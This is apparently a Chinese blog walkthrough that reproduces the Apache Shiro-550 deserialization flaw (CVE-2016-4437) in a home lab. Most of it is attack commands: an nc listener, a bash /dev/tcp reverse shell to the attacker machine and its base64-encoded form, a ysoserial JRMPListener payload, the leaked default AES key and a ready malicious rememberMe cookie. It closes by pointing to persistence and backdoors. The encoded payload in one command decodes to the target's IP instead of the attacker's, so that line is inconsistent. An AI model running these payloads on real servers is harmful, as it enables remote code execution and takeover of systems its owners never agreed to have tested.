Shiro-550漏洞分析与复现(CVE-2016-4437)

 

1.Shiro介绍

Shiro是一个由Apache提供的功能强大且易于使用的Java框架,它主要用于实现身份验证、授权、加密和会话管理等安全功能

2.Remember Me功能

Shiro中实现身份验证主要是靠Remember Me(记住我)功能,它允许用户在关闭浏览器后再次访问时无需重新登陆。用户登陆成功后生成一个加密的、包含用户身份信息的序列化对象,加密过程是 身份信息 -- 序列化 -- AES加密 -- base64编码 ,然后储存在remember Me的cookie中。当用户再次登录时,浏览器会携带这个remember Me发送给服务器。服务器解析从而获得用户身份信息,实现免登录访问,过程就是base64编码 -- AES加密 -- 序列化 -- 身份信息 。

3.漏洞分析

Shiro550漏洞的关键在于AES密钥是硬编码。由于密钥是公开的,攻击者可以轻松的构造恶意的序列化对象,并使用相同的密钥进行加密,然后将加密的恶意对象注入到RememberMe Cookie中

当受害用户再次访问网站时,服务器会尝试解密并反序列化RememberMe Cookie中的内容。如果cookie中包含的是恶意序列化对象,那么反序列化过程中就会执行恶意代码,导致安全漏洞

4.漏洞验证

进行漏洞复现前,应该先验证漏洞是否存在。

未登录时:请求包的cookie中不应该有”rememberMe”字段,同时返回包的”set-Cookie”中也不应该有”rememberMe=deleteMe”字段

登录失败时:无论是否勾选”rememberMe”,返回的set-Cookie中通常会有”rememberMe=deleteMe”字段,但是这并不能直接说明存在漏洞

不勾选”rememberMe”登陆成功时:返回包的set-Cookie中会有”rememberMe”字段,但之后的所有请求中cookie都不会有”rememberMe”字段

勾选”rememberMe”登录成功时:返回包的set-cookie中不仅有”rememberMe=deleteMe”字段,还会有”remember”字段(包含加密和编码后的信息),之后所有的请求中cookie都会包含”rememberMe”字段

5.实验准备

攻击机kali ip: 192.168.3.183

靶机ubuntu ip: 192.168.3.163

需要用的工具地址:fffffw1/shiro_exploit at master (github.com)icon-default.png?t=N7T8https://github.com/fffffw1/shiro_exploit/tree/master

这里我直接下载在靶机里。

为什么我在本机下载只能复制.py到靶机里,不能复制.jar到靶机里,有没有大佬帮我解答一下

我下载的shiro_attack这个自动化的软件是坏的 。。。

6.实验步骤

1.打开靶场

docker-compose up -d

192.168.3.163:8080

2.用bp抓包查看

3.攻击机开启端口监听

nc -lvvp 6666

4.扫描AES加密的密钥

 python3 shiro_exploit.py -u http://192.168.3.163:8080

会报错 No module named 'Crypto',我们执行 pip install pycryptodome ,AES密钥kPH+bIxk5D2deZiIxcaaaA==

你会发现你没扫描到AES密钥,哈哈哈

这个原因是你的java版本不正确,需要安装jdk8

sudo apt-get install openjdk-8-jdk

切换jdk版本

sudo update-alternatives --config java

5.构建反弹shell

bash -i >& /dev/tcp/192.168.3.183/6666 0>&1

我们对反弹shell的命令进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

接下来我们利用序列化工具ysoserial.jar生成payload作用于靶机

这条命令配置了一个 JRMPListener 服务器,它监听在 TCP 端口 7777 上,准备接收通过 Java 远程方法协议(JRMP)发送的反序列化数据,并利用 CommonsCollections5 漏洞执行反弹shell命令

java java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTYzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

6.生成一个针对 Apache Shiro rememberMe 功能的、经过 AES 加密并 Base64 编码的攻击载荷令牌

现在可以把我们第4步扫描到的AES密钥  kPH+bIxk5D2deZiIxcaaaA==  填在shiro.py文件中

生成一个针对 rememberMe 功能的 AES 加密并 Base64 编码的字符串

python2 shiro.py 192.168.3.163:7777

注意shiro.py的位置应当保证和ysoserial.jar在同一目录下,否则会报错找不到ysoserial.jar

rememberMe=6PugXuV8QeuuEwwPmezTO/bACLLHwDcedMJPBUFPEb4sIRGUYaxux4vqUATXl2vqjB+R0TVs/2Mvq1y5U23fCAoB8eXakTn56wfvSoX88OcRwjUAVi+yYnvcnZdsAqExBntdR0UevbLngr0MQp2eN74scQFkTodhlokJVIm8nziQzYx0mpgS8nLNjSVXKxtiaBULa3+mdTn183uQxLxMIzwEo7oRCmOTmNHuZj1INE/1Y0arW04tfitT2xbJtAE55D6y5pM9Ooi41upZqY398C22xgbm1Oubc1ld7wcJyikzQtO7srfwvxlYNYyjoOrR/9gFuPj3+76RhxrNHW3eI7o0QWDuuabobFoMUZEWdEh7wGgY7O84gUGEHHdmA3Sk/aNboTHjyn9odkUu4G+NIg==

7.获取反弹shell



8.维持权限,创建后门等

  • 9
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值